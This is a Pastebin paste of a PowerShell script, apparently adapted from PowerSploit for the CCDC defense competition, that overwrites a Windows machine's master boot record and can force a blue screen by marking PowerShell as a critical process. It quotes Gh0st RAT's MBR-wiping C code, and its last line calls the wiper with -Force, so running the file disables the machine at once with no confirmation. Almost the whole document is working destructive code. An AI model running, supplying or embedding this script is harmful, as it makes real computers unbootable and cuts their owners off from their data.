Advertisement
FlyFar

stomp-mbr.ps1

Jun 26th, 2023
980
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PowerShell 13.15 KB | Cybersecurity | 0 0
  1. function Set-MasterBootRecord
  2. {
  3. <#
  4. .SYNOPSIS
  5.     Proof of concept code that overwrites the master boot record with the
  6.     message of your choice.
  7.     PowerSploit Function: Set-MasterBootRecord
  8.     Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec)
  9.     Adopted by: Ahhh (for CCDC)
  10.     License: BSD 3-Clause
  11.     Required Dependencies: None
  12.     Optional Dependencies: None
  13.  
  14. .DESCRIPTION
  15.     Set-MasterBootRecord is proof of concept code designed to show that it is
  16.     possible with PowerShell to overwrite the MBR. This technique was taken
  17.     from a public malware sample. This script is inteded solely as proof of
  18.     concept code.
  19. .PARAMETER BootMessage
  20.     Specifies the message that will be displayed upon making your computer a brick.
  21. .PARAMETER RebootImmediately
  22.     Reboot the machine immediately upon overwriting the MBR.
  23. .PARAMETER Force
  24.     Suppress the warning prompt.
  25. .EXAMPLE
  26.     Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC'
  27. .NOTES
  28.     Obviously, this will only work if you have a master boot record to
  29.     overwrite. This won't work if you have a GPT (GUID partition table)
  30. #>
  31.  
  32. <#
  33. This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us):
  34. // CGh0stApp message handlers
  35.  
  36. unsigned char scode[] =
  37. "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
  38. "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
  39. "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
  40.  
  41. int CGh0stApp::KillMBR()
  42. {
  43.     HANDLE hDevice;
  44.     DWORD dwBytesWritten, dwBytesReturned;
  45.     BYTE pMBR[512] = {0};
  46.      
  47.     // ????MBR
  48.     memcpy(pMBR, scode, sizeof(scode) - 1);
  49.     pMBR[510] = 0x55;
  50.     pMBR[511] = 0xAA;
  51.      
  52.     hDevice = CreateFile
  53.         (
  54.         "\\\\.\\PHYSICALDRIVE0",
  55.         GENERIC_READ | GENERIC_WRITE,
  56.         FILE_SHARE_READ | FILE_SHARE_WRITE,
  57.         NULL,
  58.         OPEN_EXISTING,
  59.         0,
  60.         NULL
  61.         );
  62.     if (hDevice == INVALID_HANDLE_VALUE)
  63.         return -1;
  64.     DeviceIoControl
  65.         (
  66.         hDevice,  
  67.         FSCTL_LOCK_VOLUME,  
  68.         NULL,  
  69.         0,  
  70.         NULL,  
  71.         0,  
  72.         &dwBytesReturned,  
  73.         NULL
  74.         );
  75.     // ??????
  76.     WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
  77.     DeviceIoControl
  78.         (
  79.         hDevice,  
  80.         FSCTL_UNLOCK_VOLUME,  
  81.         NULL,  
  82.         0,  
  83.         NULL,  
  84.         0,  
  85.         &dwBytesReturned,  
  86.         NULL
  87.         );
  88.     CloseHandle(hDevice);
  89.  
  90.     ExitProcess(-1);
  91.     return 0;
  92. }
  93. #>
  94.  
  95.     [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param (
  96.         [ValidateLength(1, 479)]
  97.         [String]
  98.         $BootMessage = 'Stop-Crying; Get-NewHardDrive',
  99.  
  100.         [Switch]
  101.         $RebootImmediately,
  102.  
  103.         [Switch]
  104.         $Force
  105.     )
  106.  
  107.     if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
  108.     {
  109.         throw 'This script must be executed from an elevated command prompt.'
  110.     }
  111.  
  112.     if (!$Force)
  113.     {
  114.         if (!$psCmdlet.ShouldContinue('Do you want to continue?','Set-MasterBootRecord prevent your machine from booting.'))
  115.         {
  116.             return
  117.         }
  118.     }
  119.  
  120.     #region define P/Invoke types dynamically
  121.     $DynAssembly = New-Object System.Reflection.AssemblyName('Win32')
  122.     $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
  123.     $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False)
  124.  
  125.     $TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class')
  126.     $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
  127.     $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
  128.     $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
  129.         @('kernel32.dll'),
  130.         [Reflection.FieldInfo[]]@($SetLastError),
  131.         @($True))
  132.  
  133.     # Define [Win32.Kernel32]::DeviceIoControl
  134.     $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl',
  135.         'kernel32.dll',
  136.         ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
  137.         [Reflection.CallingConventions]::Standard,
  138.         [Bool],
  139.         [Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]),
  140.         [Runtime.InteropServices.CallingConvention]::Winapi,
  141.         [Runtime.InteropServices.CharSet]::Auto)
  142.     $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
  143.  
  144.     # Define [Win32.Kernel32]::CreateFile
  145.     $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile',
  146.         'kernel32.dll',
  147.         ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
  148.         [Reflection.CallingConventions]::Standard,
  149.         [IntPtr],
  150.         [Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]),
  151.         [Runtime.InteropServices.CallingConvention]::Winapi,
  152.         [Runtime.InteropServices.CharSet]::Ansi)
  153.     $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
  154.  
  155.     # Define [Win32.Kernel32]::WriteFile
  156.     $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile',
  157.         'kernel32.dll',
  158.         ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
  159.         [Reflection.CallingConventions]::Standard,
  160.         [Bool],
  161.         [Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]),
  162.         [Runtime.InteropServices.CallingConvention]::Winapi,
  163.         [Runtime.InteropServices.CharSet]::Ansi)
  164.     $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
  165.  
  166.     # Define [Win32.Kernel32]::CloseHandle
  167.     $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle',
  168.         'kernel32.dll',
  169.         ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
  170.         [Reflection.CallingConventions]::Standard,
  171.         [Bool],
  172.         [Type[]]@([IntPtr]),
  173.         [Runtime.InteropServices.CallingConvention]::Winapi,
  174.         [Runtime.InteropServices.CharSet]::Auto)
  175.     $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
  176.  
  177.     $Kernel32 = $TypeBuilder.CreateType()
  178.     #endregion
  179.  
  180.     $LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5)))
  181.     # Convert the boot message to a byte array
  182.     $MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage))
  183.  
  184.     [Byte[]] $MBRInfectionCode = @(
  185.         0xb8, 0x12, 0x00,         # MOV  AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA
  186.         0xcd, 0x10,               # INT  0x10       ; BIOS interrupt call - Set video mode
  187.         0xb8, 0x00, 0x0B,         # MOV  AX, 0x0B00 ; CMD: Set background color
  188.         0xbb, 0x01, 0x00,         # MOV  BX, 0x000F ; Background color: Blue
  189.         0xcd, 0x10,               # INT  0x10       ; BIOS interrupt call - Set background color
  190.         0xbd, 0x20, 0x7c,         # MOV  BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20
  191.         0xb9) + $LengthBytes + @( # MOV  CX, 0x0018 ; String length
  192.         0xb8, 0x01, 0x13,         # MOV  AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters
  193.         0xbb, 0x0f, 0x00,         # MOV  BX, 0x000F ; Page Num: 0, Color: White
  194.         0xba, 0x00, 0x00,         # MOV  DX, 0x0000 ; Row: 0, Column: 0
  195.         0xcd, 0x10,               # INT  0x10       ; BIOS interrupt call - Write string
  196.         0xe2, 0xfe                # LOOP 0x16       ; Print all characters to the buffer
  197.         ) + $MessageBytes
  198.  
  199.     $MBRSize = [UInt32] 512
  200.  
  201.     if ($MBRInfectionCode.Length -gt ($MBRSize - 2))
  202.     {
  203.         throw "The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes."
  204.     }
  205.  
  206.     # Allocate 512 bytes for the MBR
  207.     $MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize)
  208.  
  209.     # Zero-initialize the allocated unmanaged memory
  210.     0..511 | % { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) }
  211.  
  212.     [Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length)
  213.  
  214.     # Write boot record signature to the end of the MBR
  215.     [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55)
  216.     [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA)
  217.  
  218.     # Get the device ID of the boot disk
  219.     $DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID
  220.  
  221.     $GENERIC_READWRITE = 0x80000000 -bor 0x40000000
  222.     $FILE_SHARE_READWRITE = 2 -bor 1
  223.     $OPEN_EXISTING = 3
  224.  
  225.     # Obtain a read handle to the raw disk
  226.     $DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0)
  227.  
  228.     if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF))
  229.     {
  230.         throw "Unable to obtain read/write handle to $DeviceID"
  231.     }
  232.  
  233.     $BytesReturned = [UInt32] 0
  234.     $BytesWritten =  [UInt32] 0
  235.     $FSCTL_LOCK_VOLUME =   0x00090018
  236.     $FSCTL_UNLOCK_VOLUME = 0x0009001C
  237.  
  238.     $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0)
  239.     $null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 0)
  240.     $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0)
  241.     $null = $Kernel32::CloseHandle($DriveHandle)
  242.  
  243.     Start-Sleep -Seconds 2
  244.  
  245.     [Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes)
  246.  
  247.     Write-Verbose 'Master boot record overwritten successfully.'
  248.  
  249.     if ($RebootImmediately)
  250.     {
  251.         Restart-Computer -Force
  252.     }
  253. }
  254.  
  255. function Set-CriticalProcess
  256. {
  257. <#
  258. .SYNOPSIS
  259. Causes your machine to blue screen upon exiting PowerShell.
  260. PowerSploit Function: Set-CriticalProcess
  261. Author: Matthew Graeber (@mattifestation)
  262. License: BSD 3-Clause
  263. Required Dependencies: None
  264. Optional Dependencies: None
  265. .PARAMETER ExitImmediately
  266. Immediately exit PowerShell after successfully marking the process as critical.
  267. .PARAMETER Force
  268. Set the running PowerShell process as critical without asking for confirmation.
  269. .EXAMPLE
  270. Set-CriticalProcess
  271. .EXAMPLE
  272. Set-CriticalProcess -ExitImmediately
  273. .EXAMPLE
  274. Set-CriticalProcess -Force -Verbose
  275. #>
  276.  
  277.     [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param (
  278.         [Switch]
  279.         $Force,
  280.  
  281.         [Switch]
  282.         $ExitImmediately
  283.     )
  284.  
  285.     if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))
  286.     {
  287.         throw 'You must run Set-CriticalProcess from an elevated PowerShell prompt.'
  288.     }
  289.  
  290.     $Response = $True
  291.  
  292.     if (!$Force)
  293.     {
  294.         $Response = $psCmdlet.ShouldContinue('Have you saved all your work?', 'The machine will blue screen when you exit PowerShell.')
  295.     }
  296.    
  297.     if (!$Response)
  298.     {
  299.         return
  300.     }
  301.  
  302.     $DynAssembly = New-Object System.Reflection.AssemblyName('BlueScreen')
  303.     $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
  304.     $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BlueScreen', $False)
  305.  
  306.     # Define [ntdll]::NtQuerySystemInformation method
  307.     $TypeBuilder = $ModuleBuilder.DefineType('BlueScreen.Win32.ntdll', 'Public, Class')
  308.     $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('NtSetInformationProcess',
  309.                                                         'ntdll.dll',
  310.                                                         ([Reflection.MethodAttributes] 'Public, Static'),
  311.                                                         [Reflection.CallingConventions]::Standard,
  312.                                                         [Int32],
  313.                                                         [Type[]] @([IntPtr], [UInt32], [IntPtr].MakeByRefType(), [UInt32]),
  314.                                                         [Runtime.InteropServices.CallingConvention]::Winapi,
  315.                                                         [Runtime.InteropServices.CharSet]::Auto)
  316.  
  317.     $ntdll = $TypeBuilder.CreateType()
  318.  
  319.     $ProcHandle = [Diagnostics.Process]::GetCurrentProcess().Handle
  320.     $ReturnPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4)
  321.  
  322.     $ProcessBreakOnTermination = 29
  323.     $SizeUInt32 = 4
  324.  
  325.     try
  326.     {
  327.         $null = $ntdll::NtSetInformationProcess($ProcHandle, $ProcessBreakOnTermination, [Ref] $ReturnPtr, $SizeUInt32)
  328.     }
  329.     catch
  330.     {
  331.         return
  332.     }
  333.  
  334.     Write-Verbose 'PowerShell is now marked as a critical process and will blue screen the machine upon exiting the process.'
  335.  
  336.     if ($ExitImmediately)
  337.     {
  338.         Stop-Process -Id $PID
  339.     }
  340. } Set-MasterBootRecord -Force -BootMessage 'Rubidium metal is easily vaporized and has a convenient spectral absorption range, making it a frequent target for laser manipulation of atoms #CCDC'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement